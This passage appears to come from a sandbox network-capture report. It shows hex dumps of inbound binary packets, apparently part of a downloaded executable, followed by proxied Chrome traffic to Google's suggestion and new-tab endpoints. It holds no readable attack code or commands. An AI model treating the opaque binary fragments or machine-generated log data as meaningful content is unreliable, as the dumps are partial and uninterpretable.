Nov 28, 2024 08:57:11.171056986 CET	224	IN	Data Raw: bf 1f 03 50 45 38 a2 4e ae 96 2a 11 56 60 8a a8 61 d9 e6 7e 11 ce 10 67 ee 07 4a 90 46 c7 2e 78 a6 2e da df 0e 81 06 65 d6 78 d9 ac f3 e7 21 7f 76 2b ad d9 84 58 b3 b0 21 7c 01 82 4a b8 ba 72 7a 74 d2 30 82 da 30 79 25 0e 3a 2f c6 96 3d 29 d6 21 Data Ascii: PE8NV`a~gJF.x.ex!v+X!\|Jrzt00y%:/=)!>fXRODiud4:N_ByBMgVT0 Fl' 0Q~FP{2n_C~?pJ1(Z
Nov 28, 2024 08:57:11.171235085 CET	1236	IN	Data Raw: 25 2d ff 17 54 08 d1 31 39 a4 36 b4 83 9d ce 20 7d de 27 95 c3 58 38 c8 96 57 3e 7c 4e fa 9a e7 6e 20 93 1e 7c 37 12 2c 3b 12 e1 d7 aa 26 a7 da f2 a6 81 7f 65 14 47 86 9a 16 70 01 96 c0 00 24 c1 28 3b ca 60 d4 4e cd a6 f4 8a f6 b2 f5 21 b2 1b af Data Ascii: %-T196 }'X8W>\|Nn \|7,;&eGp$(;`N!KyTT4DQ> -"E\<6:8I_FA2=AE&O6TLWk"Xwt&%Nv!:J9Bx1GIlDC@gB
Nov 28, 2024 08:57:11.171245098 CET	224	IN	Data Raw: 92 3b 31 0d 84 38 40 78 07 56 d7 b2 de 6c 3b e1 06 37 54 81 4a 09 01 4c 07 e9 f7 36 ea 58 3a 2c c6 93 a1 e7 ed 74 bd fc 5b b6 81 08 0d ae d3 b6 a0 76 79 ac 8b fe f8 79 0e 92 e5 73 e3 3d 0b 84 b5 02 be 51 e0 d8 23 6c a7 8f 32 c5 cf bf 4b 30 6f 79 Data Ascii: ;18@xVl;7TJL6X:,t[vyys=Q#l2K0oyD(A*QV=n`Y'N,-\"e80[_Zj$<Ae-@8+2!W,~"x}Q C<AT5:N
Nov 28, 2024 08:57:11.291070938 CET	1236	IN	Data Raw: 34 40 7d d9 34 66 ec 40 a9 61 1b 7c 26 5c dc d4 80 7c 40 13 fe f6 93 8a 22 dc 0d e1 97 fe fc 63 d4 d4 a0 0f d2 a2 0e 51 fd 3b a7 85 b3 bb 48 b0 72 1d 5f 88 f4 6d ea bd 26 64 8b 0c 50 f7 2f 07 fc 3f 39 8a fa 20 e8 e1 1a 6c 1d 81 5a bf 81 94 9c 96 Data Ascii: 4@}4f@a\|&\\|@"cQ;Hr_m&dP/?9 lZU'[83Z=PY+4@Fb:4p9BLfv*(t0OjEopsLJ&sAAz_ JJB58oeC6=YM

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.8	49707	142.250.181.100	443	4820	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-28 07:55:29 UTC	603	OUT	GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CIW2yQEIorbJAQipncoBCOj/ygEIlaHLAQiFoM0BCNy9zQEIucrNAQiK080BCMfUzQEIodbNAQio2M0BCPnA1BUYwcvMARi60s0BGMXYzQEY642lFw== Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-28 07:55:30 UTC	1266	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 07:55:30 GMT Pragma: no-cache Expires: -1 Cache-Control: no-cache, must-revalidate Content-Type: text/javascript; charset=UTF-8 Strict-Transport-Security: max-age=31536000 Content-Security-Policy: object-src 'none';base-uri 'self';script-src 'nonce--x9S8ds2iTuDr96JN4djKA' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/cdt1 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/cdt1"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-28 07:55:30 UTC	124	IN	Data Raw: 62 38 66 0d 0a 29 5d 7d 27 0a 5b 22 22 2c 5b 22 6e 68 6c 20 72 61 6e 67 65 72 73 22 2c 22 6e 76 69 64 69 61 20 73 74 6f 63 6b 73 22 2c 22 67 61 6c 61 72 69 61 6e 20 63 6f 72 73 6f 6c 61 20 70 6f 6b c3 a9 6d 6f 6e 20 67 6f 22 2c 22 6d 65 78 69 63 61 6e 20 63 61 74 74 6c 65 20 69 6d 70 6f 72 74 73 22 2c 22 74 75 72 6b 65 79 20 6c 65 67 20 68 75 74 20 68 6f 75 73 74 6f 6e Data Ascii: b8f)]}'["",["nhl rangers","nvidia stocks","galarian corsola pokmon go","mexican cattle imports","turkey leg hut houston
2024-11-28 07:55:30 UTC	1390	IN	Data Raw: 20 74 78 22 2c 22 62 61 6b 65 72 20 6d 61 79 66 69 65 6c 64 22 2c 22 72 6f 63 6b 73 74 61 72 20 67 61 6d 65 73 20 67 74 61 20 36 22 2c 22 77 69 63 6b 65 64 20 6d 6f 76 69 65 20 63 79 6e 74 68 69 61 20 65 72 69 76 6f 22 5d 2c 5b 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 5d 2c 5b 5d 2c 7b 22 67 6f 6f 67 6c 65 3a 63 6c 69 65 6e 74 64 61 74 61 22 3a 7b 22 62 70 63 22 3a 66 61 6c 73 65 2c 22 74 6c 77 22 3a 66 61 6c 73 65 7d 2c 22 67 6f 6f 67 6c 65 3a 67 72 6f 75 70 73 69 6e 66 6f 22 3a 22 43 68 67 49 6b 6b 34 53 45 77 6f 52 56 48 4a 6c 62 6d 52 70 62 6d 63 67 63 32 56 68 63 6d 4e 6f 5a 58 4d 5c 75 30 30 33 64 22 2c 22 67 6f 6f 67 6c 65 3a 73 75 67 67 65 73 74 64 65 74 61 69 6c 22 3a 5b 7b 22 67 6f 6f 67 6c 65 3a 65 6e 74 69 74 79 69 Data Ascii: tx","baker mayfield","rockstar games gta 6","wicked movie cynthia erivo"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk4SEwoRVHJlbmRpbmcgc2VhcmNoZXM\u003d","google:suggestdetail":[{"google:entityi
2024-11-28 07:55:30 UTC	1390	IN	Data Raw: 55 39 42 62 47 56 57 4e 55 5a 58 63 6d 31 4e 54 54 6c 33 63 6e 64 45 5a 48 59 32 65 55 4d 7a 52 55 4e 79 57 55 4a 36 52 56 42 7a 51 33 4e 4c 4b 7a 68 6b 57 44 52 61 61 46 6c 59 63 6d 38 72 4d 45 56 4d 52 57 68 30 4e 6c 46 69 5a 57 45 35 64 30 31 59 62 54 45 30 62 58 68 31 62 54 64 59 55 55 4e 32 53 44 46 56 59 6a 64 52 54 6e 4d 72 63 55 52 74 51 54 52 44 4e 47 6c 47 57 44 42 4e 61 30 6b 34 53 46 64 73 4c 30 4e 31 65 58 6b 78 5a 6b 6b 78 63 56 4a 69 62 46 52 6d 4e 31 52 73 4b 79 38 79 4f 56 42 36 52 44 6c 34 4f 45 4e 6a 61 7a 5a 61 62 79 74 6c 63 44 5a 77 4f 53 74 6d 53 44 63 72 52 6e 64 44 56 45 74 6f 52 58 4a 36 5a 32 55 77 53 6e 59 35 4d 56 70 34 51 6b 68 42 55 44 5a 54 59 6a 68 54 52 7a 6c 4b 55 57 39 49 61 6b 64 6b 54 6c 56 4d 4c 32 52 72 4f 44 52 49 Data Ascii: U9BbGVWNUZXcm1NTTl3cndEZHY2eUMzRUNyWUJ6RVBzQ3NLKzhkWDRaaFlYcm8rMEVMRWh0NlFiZWE5d01YbTE0bXh1bTdYUUN2SDFVYjdRTnMrcURtQTRDNGlGWDBNa0k4SFdsL0N1eXkxZkkxcVJibFRmN1RsKy8yOVB6RDl4OENjazZabytlcDZwOStmSDcrRndDVEtoRXJ6Z2UwSnY5MVp4QkhBUDZTYjhTRzlKUW9IakdkTlVML2RrODRI
2024-11-28 07:55:30 UTC	62	IN	Data Raw: 68 4d 7a 46 68 4d 6d 46 53 4d 32 64 7a 58 33 4e 7a 63 44 31 6c 53 6e 70 71 4e 48 52 45 55 44 46 55 5a 6b 6c 35 51 7a 4e 4b 54 6d 31 45 4d 44 52 7a 4e 30 78 35 52 6b 56 76 55 33 4e 0d 0a Data Ascii: hMzFhMmFSM2dzX3NzcD1lSnpqNHREUDFUZkl5QzNKTm1EMDRzN0x5RkVvU3N
2024-11-28 07:55:30 UTC	161	IN	Data Raw: 39 62 0d 0a 34 54 46 52 35 4d 48 46 43 5a 30 4a 57 54 56 46 6c 59 33 41 48 63 42 63 5c 75 30 30 33 64 22 2c 22 7a 6c 22 3a 31 30 30 30 32 7d 2c 7b 22 7a 6c 22 3a 31 30 30 30 32 7d 2c 7b 22 7a 6c 22 3a 31 30 30 30 32 7d 2c 7b 22 7a 6c 22 3a 31 30 30 30 32 7d 2c 7b 22 7a 6c 22 3a 31 30 30 30 32 7d 2c 7b 22 67 6f 6f 67 6c 65 3a 65 6e 74 69 74 79 69 6e 66 6f 22 3a 22 43 67 6f 76 62 53 38 77 64 32 64 32 63 46 39 78 45 68 52 47 62 32 39 30 59 6d 46 73 62 43 42 78 64 57 46 79 64 0d 0a Data Ascii: 9b4TFR5MHFCZ0JWTVFlY3AHcBc\u003d","zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"google:entityinfo":"CgovbS8wd2d2cF9xEhRGb290YmFsbCBxdWFyd
2024-11-28 07:55:30 UTC	1390	IN	Data Raw: 62 61 61 0d 0a 47 56 79 59 6d 46 6a 61 7a 4c 6e 44 6d 52 68 64 47 45 36 61 57 31 68 5a 32 55 76 61 6e 42 6c 5a 7a 74 69 59 58 4e 6c 4e 6a 51 73 4c 7a 6c 71 4c 7a 52 42 51 56 46 54 61 31 70 4b 55 6d 64 42 51 6b 46 52 51 55 46 42 55 55 46 43 51 55 46 45 4c 7a 4a 33 51 30 56 42 51 57 74 48 51 6e 64 6e 53 45 4a 6e 61 30 6c 43 64 32 64 4c 51 32 64 72 54 45 52 53 57 56 42 45 55 58 64 4e 52 46 4a 7a 56 55 5a 53 51 56 64 4a 51 6a 42 70 53 57 6c 42 5a 45 68 34 4f 47 74 4c 52 46 46 7a 53 6b 4e 5a 65 45 70 34 4f 47 5a 4d 56 44 42 30 54 56 52 56 4d 30 39 71 62 7a 5a 4a 65 58 4d 76 55 6b 51 34 4e 46 46 36 55 54 56 50 61 6d 4e 43 51 32 64 76 53 30 52 52 64 30 35 48 5a 7a 68 51 52 32 70 6a 62 45 68 35 56 54 4e 4f 65 6d 4d 7a 54 6e 70 6a 4d 30 35 36 59 7a 4e 4f 65 6d 4d Data Ascii: baaGVyYmFjazLnDmRhdGE6aW1hZ2UvanBlZztiYXNlNjQsLzlqLzRBQVFTa1pKUmdBQkFRQUFBUUFCQUFELzJ3Q0VBQWtHQndnSEJna0lCd2dLQ2drTERSWVBEUXdNRFJzVUZSQVdJQjBpSWlBZEh4OGtLRFFzSkNZeEp4OGZMVDB0TVRVM09qbzZJeXMvUkQ4NFF6UTVPamNCQ2dvS0RRd05HZzhQR2pjbEh5VTNOemMzTnpjM056YzNOemM
2024-11-28 07:55:30 UTC	1390	IN	Data Raw: 46 53 5a 6d 4e 4a 65 6a 64 5a 4f 45 46 7a 65 48 64 43 61 32 35 76 54 31 70 4b 4b 31 64 73 55 31 56 45 54 30 46 6a 5a 30 68 78 54 6b 74 77 5a 6c 4a 75 4c 33 64 43 52 56 64 77 59 56 46 55 56 47 52 33 5a 48 68 4f 55 6c 5a 30 63 48 49 33 54 6c 56 57 56 57 4e 61 5a 32 70 69 52 46 4e 4e 52 6e 6c 74 52 48 6c 48 5a 58 56 51 4d 45 39 73 52 6c 42 4d 55 32 4a 6b 63 57 52 78 59 58 52 73 56 6e 68 72 52 54 64 6e 55 30 39 76 4d 57 52 32 5a 7a 56 77 62 48 68 73 63 48 4d 7a 63 79 74 32 4e 6b 35 68 4e 6c 70 4c 62 48 4e 50 55 57 38 76 54 54 5a 50 57 46 63 76 4d 55 5a 68 53 6d 46 68 4d 33 68 52 63 45 4e 45 64 45 5a 55 56 56 42 6e 54 56 46 6c 5a 54 46 6c 63 48 64 6a 4c 31 52 58 55 6c 64 58 62 33 46 4d 5a 6c 55 35 61 6d 52 48 52 58 4e 69 51 57 68 52 5a 58 41 32 5a 79 39 52 61 Data Ascii: FSZmNJejdZOEFzeHdCa25vT1pKK1dsU1VET0FjZ0hxTktwZlJuL3dCRVdwYVFUVGR3ZHhOUlZ0cHI3TlVWVWNaZ2piRFNNRnltRHlHZXVQME9sRlBMU2JkcWRxYXRsVnhrRTdnU09vMWR2ZzVwbHhscHMzcyt2Nk5hNlpLbHNPUW8vTTZPWFcvMUZhSmFhM3hRcENEdEZUVVBnTVFlZTFlcHdjL1RXUldXb3FMZlU5amRHRXNiQWhRZXA2Zy9Ra
2024-11-28 07:55:30 UTC	213	IN	Data Raw: 6f 6f 67 6c 65 3a 73 75 67 67 65 73 74 73 75 62 74 79 70 65 73 22 3a 5b 5b 33 2c 31 34 33 2c 33 36 32 5d 2c 5b 33 2c 31 34 33 2c 33 36 32 5d 2c 5b 33 2c 31 34 33 2c 33 36 32 5d 2c 5b 33 2c 31 34 33 2c 33 36 32 5d 2c 5b 33 2c 31 34 33 2c 33 36 32 5d 2c 5b 33 2c 31 34 33 2c 33 36 32 5d 2c 5b 33 2c 31 34 33 2c 33 36 32 5d 2c 5b 33 2c 31 34 33 2c 33 36 32 5d 5d 2c 22 67 6f 6f 67 6c 65 3a 73 75 67 67 65 73 74 74 79 70 65 22 3a 5b 22 45 4e 54 49 54 59 22 2c 22 51 55 45 52 59 22 2c 22 51 55 45 52 59 22 2c 22 51 55 45 52 59 22 2c 22 51 55 45 52 59 22 2c 22 45 4e 54 49 54 59 22 2c 22 51 55 45 52 59 22 2c 22 51 55 45 52 59 22 5d 7d 5d 0d 0a Data Ascii: oogle:suggestsubtypes":[[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362]],"google:suggesttype":["ENTITY","QUERY","QUERY","QUERY","QUERY","ENTITY","QUERY","QUERY"]}]
2024-11-28 07:55:30 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.8	49708	142.250.181.100	443	4820	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-28 07:55:29 UTC	353	OUT	GET /async/ddljson?async=ntp:2 HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.8	49711	142.250.181.100	443	4820	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-28 07:55:29 UTC	506	OUT	GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CIW2yQEIorbJAQipncoBCOj/ygEIlaHLAQiFoM0BCNy9zQEIucrNAQiK080BCMfUzQEIodbNAQio2M0BCPnA1BUYwcvMARi60s0BGMXYzQEY642lFw== Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-28 07:55:30 UTC	1018	IN	HTTP/1.1 200 OK Version: 700238841 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Thu, 28 Nov 2024 07:55:30 GMT Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-28 07:55:30 UTC	372	IN	Data Raw: 31 65 32 38 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 6c 61 6e 67 75 61 67 65 5f 63 6f 64 65 22 3a 22 65 6e 2d 55 53 22 2c 22 6f 67 62 22 3a 7b 22 68 74 6d 6c 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 68 74 6d 6c 5f 77 72 61 70 70 65 64 5f 76 61 6c 75 65 22 3a 22 5c 75 30 30 33 63 68 65 61 64 65 72 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 45 61 20 67 62 5f 32 64 20 67 62 5f 51 65 20 67 62 5f 71 64 5c 22 20 69 64 5c 75 30 30 33 64 5c 22 67 62 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 61 6e 6e 65 72 5c 22 20 73 74 79 6c 65 5c 75 30 30 33 64 5c 22 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 74 72 61 6e 73 70 61 72 65 6e 74 5c 22 5c 75 30 30 33 65 Data Ascii: 1e28)]}'{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_2d gb_Qe gb_qd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e
2024-11-28 07:55:30 UTC	1390	IN	Data Raw: 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 77 64 20 67 62 5f 72 64 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 4a 63 20 67 62 5f 51 5c 22 20 61 72 69 61 2d 65 78 70 61 6e 64 65 64 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 61 72 69 61 2d 6c 61 62 65 6c 5c 75 30 30 33 64 5c 22 4d 61 69 6e 20 6d 65 6e 75 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 75 74 74 6f 6e 5c 22 20 74 61 62 69 6e 64 65 78 5c 75 30 30 33 64 5c 22 30 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 76 67 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 76 69 65 77 62 6f 78 5c 75 30 30 33 64 5c 22 30 20 30 20 32 34 20 32 34 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 70 61 74 68 20 64 5c 75 30 Data Ascii: class\u003d\"gb_wd gb_rd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u0
2024-11-28 07:55:30 UTC	1390	IN	Data Raw: 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 77 64 20 67 62 5f 38 63 20 67 62 5f 39 63 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 70 61 6e 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 75 64 5c 22 20 61 72 69 61 2d 6c 65 76 65 6c 5c 75 30 30 33 64 5c 22 31 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 68 65 61 64 69 6e 67 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 5c 2f 73 70 61 6e 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 61 64 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 Data Ascii: 003cdiv class\u003d\"gb_wd gb_8c gb_9c\"\u003e\u003cspan class\u003d\"gb_ud\" aria-level\u003d\"1\" role\u003d\"heading\"\u003e \u003c\/span\u003e\u003cdiv class\u003d\"gb_ad\"\u003e \u003c\/div\u003e\u003c\/div\u003e\u003c\/div\u003e\u003cdiv class\u003d
2024-11-28 07:55:30 UTC	1390	IN	Data Raw: 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 44 5c 22 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 68 65 69 67 68 74 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 20 76 69 65 77 42 6f 78 5c 75 30 30 33 64 5c 22 30 20 2d 39 36 30 20 39 36 30 20 39 36 30 5c 22 20 77 69 64 74 68 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 70 61 74 68 20 64 5c 75 30 30 33 64 5c 22 4d 32 30 39 2d 31 32 30 71 2d 34 32 20 30 2d 37 30 2e 35 2d 32 38 2e 35 54 31 31 30 2d 32 31 37 71 30 2d 31 34 20 33 2d 32 35 2e 35 74 39 2d 32 31 2e 35 6c 32 32 38 2d 33 34 31 71 31 30 2d 31 34 20 31 35 2d 33 31 74 35 2d 33 34 76 2d 31 31 30 68 2d 32 30 71 2d 31 33 20 30 2d 32 31 2e 35 2d 38 2e 35 54 33 32 30 2d 38 31 30 71 30 2d 31 33 20 Data Ascii: ss\u003d\"gb_D\" focusable\u003d\"false\" height\u003d\"24px\" viewBox\u003d\"0 -960 960 960\" width\u003d\"24px\"\u003e \u003cpath d\u003d\"M209-120q-42 0-70.5-28.5T110-217q0-14 3-25.5t9-21.5l228-341q10-14 15-31t5-34v-110h-20q-13 0-21.5-8.5T320-810q0-13
2024-11-28 07:55:30 UTC	1390	IN	Data Raw: 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 36 2c 36 63 30 2c 31 2e 31 20 30 2e 39 2c 32 20 32 2c 32 73 32 2c 2d 30 2e 39 20 32 2c 2d 32 20 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 7a 4d 31 32 2c 38 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 38 2c 31 34 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 38 2c 32 30 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c Data Ascii: 1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM16,6c0,1.1 0.9,2 2,2s2,-0.9 2,-2 -0.9,-2 -2,-2 -2,0.9 -2,2zM12,8c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM18,14c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM18,20c1.1,0 2,-0.9 2,
2024-11-28 07:55:30 UTC	1390	IN	Data Raw: 65 6e 75 2d 63 6f 6e 74 65 6e 74 22 2c 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 62 61 72 5f 68 65 69 67 68 74 22 3a 36 30 2c 22 65 78 70 65 72 69 6d 65 6e 74 5f 69 64 22 3a 5b 33 37 30 30 32 39 33 2c 33 37 30 31 33 38 34 2c 31 30 32 31 31 38 39 34 30 5d 2c 22 69 73 5f 62 61 63 6b 75 70 5f 62 61 72 22 3a 66 61 6c 73 65 7d 2c 22 70 61 67 65 5f 68 6f 6f 6b 73 22 3a 7b 22 61 66 74 65 72 5f 62 61 72 5f 73 63 72 69 70 74 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 73 63 72 69 70 74 5f 77 72 61 70 70 65 64 5f 76 61 6c 75 65 22 3a 22 74 68 69 73 2e 67 62 61 72 5f 5c 75 30 30 33 64 74 68 69 73 2e 67 62 61 72 5f 7c 7c 7b 7d 3b 28 66 75 6e 63 74 69 6f 6e 28 5f 29 7b 76 61 72 20 77 69 6e 64 6f 77 Data Ascii: enu-content","metadata":{"bar_height":60,"experiment_id":[3700293,3701384,102118940],"is_backup_bar":false},"page_hooks":{"after_bar_script":{"private_do_not_access_or_else_safe_script_wrapped_value":"this.gbar_\u003dthis.gbar_\|\|{};(function(_){var window
2024-11-28 07:55:30 UTC	406	IN	Data Raw: 41 72 72 61 79 28 62 29 3b 66 6f 72 28 6c 65 74 20 64 5c 75 30 30 33 64 30 3b 64 5c 75 30 30 33 63 62 3b 64 2b 2b 29 63 5b 64 5d 5c 75 30 30 33 64 61 5b 64 5d 3b 72 65 74 75 72 6e 20 63 7d 72 65 74 75 72 6e 5b 5d 7d 3b 49 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 6e 65 77 20 5f 2e 48 64 28 62 5c 75 30 30 33 64 5c 75 30 30 33 65 62 2e 73 75 62 73 74 72 28 30 2c 61 2e 6c 65 6e 67 74 68 2b 31 29 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 75 30 30 33 64 61 2b 5c 22 3a 5c 22 29 7d 3b 5f 2e 4a 64 5c 75 30 30 33 64 67 6c 6f 62 61 6c 54 68 69 73 2e 74 72 75 73 74 65 64 54 79 70 65 73 3b 5f 2e 4b 64 5c 75 30 30 33 64 63 6c 61 73 73 7b 63 6f 6e 73 74 72 75 63 74 6f 72 28 61 29 7b 74 68 69 73 Data Ascii: Array(b);for(let d\u003d0;d\u003cb;d++)c[d]\u003da[d];return c}return[]};Id\u003dfunction(a){return new _.Hd(b\u003d\u003eb.substr(0,a.length+1).toLowerCase()\u003d\u003d\u003da+\":\")};_.Jd\u003dglobalThis.trustedTypes;_.Kd\u003dclass{constructor(a){this
